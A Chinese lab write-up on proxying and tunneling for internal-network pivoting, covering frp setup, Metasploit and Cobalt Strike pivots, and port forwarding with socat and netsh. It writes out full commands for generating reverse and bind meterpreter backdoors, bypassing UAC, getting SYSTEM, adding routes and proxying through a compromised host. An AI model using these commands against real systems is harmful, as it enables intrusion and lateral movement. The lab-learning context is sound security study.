代理与隧道

代理与隧道

彩笔花了很多时间完成本文,中途遇到各种问题,有的问题当天怎么都解决不了,第二天一开机就没了,有的问题做到一般发现实在解决不了,只能换思路。不管怎么说,总算是整出来了。

在这里插入图片描述

隧道技术:解决不出网协议上线问题(利用出网协议封装出网)

代理技术:解决网络通讯不通问题(利用跳板机建立节点后操作)

一般防火墙为主要原因就用隧道技术,网络架构为主要原因就用代理

入站规则:是用来限制远程主机访问本机的服务的

出站规则:是用来限制本机对外访问的规则

0. 各种问题解决

虚拟机设置静态ip可能导致ping不通主机的情况,需要解决一下再继续实验(翻我实验一番外篇)。

如有图前后对不上的情况,那就是因为重新尝试太多次了

win10 虚拟机很卡经常白屏,win7 虚拟机下不了vmtools,通讯可以依靠同网段的ftp服务。

kali虚拟机如果开机锁了键盘,就重启,然后看图操作

在这里插入图片描述

在这里插入图片描述

metasploit上线的进程极为脆弱,一段时间自动连同木马消失,建议上线就进程迁移

1. firefox放行不安全端口

输入网址about:config

添加首选项network.security.ports.banned.override,值为0-65535

在这里插入图片描述

这样诸如6000,6666的不安全端口都可以访问了。

2. frp内网穿透

服务器端用的华为云ubuntu22,添加开放6000-7000和7500端口

客户端windows11

服务器端配置

xshell连上去,然后xftp连上去,把frp文件拖上去。

在这里插入图片描述

解压压缩包

tar -zxvf frp_0.60.0_linux_amd64.tar.gz

修改配置文件

vi frps.toml

# frp监听的端口,默认是7000,可以改成其他的
bindAddr = "0.0.0.0"
bindPort = 7000
kcpBindPort = 7000


auth.method = "token"
#服务端token密码,可根据自己需要进行配置
auth.token = "testtoken"


#后台管理地址,默认是127.0.0.1,如果是公网访问则改成0.0.0.0
webserver.addr = "0.0.0.0"
#服务端仪表板端口,可以根据实际自定义访问端口号
webserver.port = 7500
#访间web时的账号
webserver.user = "admin"
#访间web时的密码
webserver.password = "cllsse123" 

# frp日志配置
log.to = "/var/log/frps.log"
log.level = "info"
log.maxDays = 3

# 允许的远程端口
allowPorts =[
	{ start = 6000 , end = 7000},
]

创建service文件

vim /etc/systemd/system/frps.service

[Unit]
Description = frp service
After = network.target syslog.target
Wants = network.target

[Service]
Type = simple
# 启动服务的命令(此处写你的frps的实际安装目录)
ExecStart = /root/frp/frp_0.60.0_linux_amd64/frps -c /root/frp/frp_0.60.0_linux_amd64/frps.toml

[Install]
WantedBy = multi-user.target

重载服务文件

systemctl daemon-reload

systemctl start frps

systemctl status frps 查看服务状态

主机访问xxx.xxx.xxx.xxx:7500登录到管理端

在这里插入图片描述

客户端配置

用phpstudy在本地9015端口开了个http服务

frpc.toml

serverAddr = "xxx.xxx.xxx.xxx"
serverPort = 7000
loginFailExit = true

log.to = "./frpc.log"
log.level = "info"
log.maxDays = 3

auth.method = "token"
auth.token = "testtoken"

[[proxies]]
name = "test1"
type = "tcp"
localIP = "127.0.0.1"
localPort = 9015
remotePort = 6500

开cmd,frpc.exe -c frpc.toml

可以访问了

在这里插入图片描述

3. 代理转发

注意:ping 是 icmp, 必须要网卡级代理,就那种 tun 模式的代理

定义

  • 代理转发,也被称为网络代理,是一种特殊的网络服务。它允许一个终端(通常指客户端)通过这个服务与另一个终端(通常指服务器端)进行非直接的连接。

工作原理

  • 代理服务器在客户端和服务器端之间充当中间人的角色。当客户端发送请求时,请求首先被发送到代理服务器,然后代理服务器再将请求转发给目标服务器。目标服务器将响应返回给代理服务器,最后代理服务器将响应返回给客户端。
  • 隧道代理(转发代理的一种)通过建立一个TCP连接通道,在客户端和目标服务器之间传递加密数据,确保数据的安全性。

应用场景

  • 代理转发常用于无法直接访问目标服务器的情况。例如,当客户端需要访问一个被防火墙或网络策略限制的服务器时,可以使用代理服务器进行转发。
  • 代理转发还可以用于隐藏客户端的真实IP地址,保护客户端的安全性。

1. metasploit操作

给出一个场景

在这里插入图片描述

msf先通过反弹shell得到win10的权限,然后通过win10正向连接不出网的虚拟机win7。

虚拟机 windows 10

  • 网卡1:192.168.137.9
  • 网卡2:192.168.166.3

虚拟机 windows 7 192.168.166.4/24

在80端口使用python开启了http服务

python2:python.exe -m SimpleHTTPServer 80

python3:python -m http.server 80

虚拟机 kali 192.168.137.6

msfvenom生成后门

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.137.6 LPORT=3333 -f exe -o xd.exe

msf启动

su # 进root模式
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.137.6
set lport 3333
exploit 

虚拟机win10 运行xd.exe

在这里插入图片描述

然后进行提权(其实不用提权也行)

先漏洞扫描

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
set session 6 # sessions指令查看存活连接
set showdescription true
exploit

在这里插入图片描述

使用漏洞

use exploit/windows/local/bypassuac_fodhelper
set session 6
set lport 9999
exploit

在这里插入图片描述

meterpreter > getuid
getsystem
getuid

在这里插入图片描述

查看路由信息
meterpreter > run autoroute -p
meterpreter > run get_local_subnets
meterpreter > run post/multi/manage/autoroute

在session里添加路由
meterpreter > run autoroute -s 192.168.166.0/255.255.255.0
或者在msf6界面添加指定路由,1表示接收的session编号
msf6 > route add 192.168.166.0 255.255.255.0 1


在这里插入图片描述

设置socks5代理服务器

background
use auxiliary/server/socks_proxy
show options
set srvhost 127.0.0.1  #本处设置IP为kali攻击机IP
set srvport 1080
run

在这里插入图片描述

vim /etc/proxychains4.conf 添加以下内容

socks5 127.0.0.1 1080

在这里插入图片描述

使用proxychains4来连接代理,测试成功

msf6 auxiliary(server/docks_proxy) > proxychains4 curl http://192.168.166.4:80

在这里插入图片描述

生成木马,放到win7虚拟机里

msfvenom --platform windows -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o 5555.exe

win7 运行5555.exe启动服务器

然后kali正向连接

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.166.4
set lport 5555
exploit

正向连接成功

在这里插入图片描述

2. cobalt strike操作

在这里插入图片描述

参考cobalt strike&metasploit 小记反向连接上线win10后,更改延迟时间

beacon > sleep 10

在win10 beacon上设置socks服务器

在这里插入图片描述

开启代理服务器

在这里插入图片描述

新建Beacon TCP监听器

在这里插入图片描述

生成后门beacon_x64_server.exe,通过ftp服务器传给win7虚拟机,然后运行

在这里插入图片描述

在win10的beacon里

connect 192.168.166.4 4444

在这里插入图片描述

成功上线

在这里插入图片描述

4. 端口转发

定义

  • 端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。它使得外部用户可以通过一个被激活的NAT路由器访问私有内部IP地址(局域网内部)上的一个端口。

工作原理

  • 端口转发通过路由器或代理服务器上的配置来实现。当外部用户尝试访问路由器的某个特定端口时,路由器会根据配置将请求转发到内部网络中的指定主机和端口上。
  • 内部主机接收到请求后,将响应返回给路由器,然后路由器再将响应转发给外部用户。

应用场景

  • 端口转发常用于在内网建立服务器并希望外部用户能够访问的情况。例如,在家庭中建立了一个Web服务器,并希望外部用户能够通过互联网访问它,就可以使用端口转发将外部请求转发到家庭网络的内部IP地址和端口上。
  • 端口转发还可以用于虚拟机与宿主机之间的通信,以及通过SSH等方式进行远程连接和管理。

1. msf使用portfwd

参数如下

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
     -L >opt>  要监听的本地主机(可选)。
     -h        帮助横幅。
     -l >opt>  要监听的本地端口。
     -p >opt>  要连接的远程端口
     -r >opt>  要连接的远程主机

msf先反向连接win10,然后做端口转发

meterpreter > portfwd add  -l 4399 -r 192.168.166.4 -p 4399

在这里插入图片描述

我们发送至本地4399端口的请求包被转发至192.168.166.4的4399端口

在这里插入图片描述

2. linux下使用socat

kali:192.168.137.6

win10:192.168.137.9

socat TCP4-LISTEN:20001,fork TCP4:192.168.137.9:80 &
curl http://127.0.0.1:20001

TCP4-LISTEN表示监听一个TCP4端口(IPv4),fork表示每个连接都创建一个新进程处理数据流,TCP4:192.168.137.9:80表示将数据转发到目标主机win10的80端口。这样,所有发送到kali的20001端口的数据流都会被转发到win10上的80端口。也就是说,在kali监听20001端口,所有访问kali:20001端口的,会返回win10:80的资源。

在这里插入图片描述

3. windows下使用netsh

管理员模式打开powershell

# 查看端口转发规则
netsh interface portproxy show v4tov4
# 添加端口转发规则
netsh interface portproxy add v4tov4 listenport=<监听端口> listenaddress=<监听地址> connectport=<目标端口> connectaddress=<目标地址>
# 删除端口转发规则
netsh interface portproxy delete v4tov4 listenport=<监听端口> listenaddress=<监听地址>

例如,要将传入到本机10000端口的流量转发到内网IP为192.168.1.100的机器的80端口,可以使用以下命令:

netsh interface portproxy add v4tov4 listenport=10000 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.137.9

在这里插入图片描述

参考

小迪安全

R1gelX大佬

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cllsse

富✌您吉祥

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值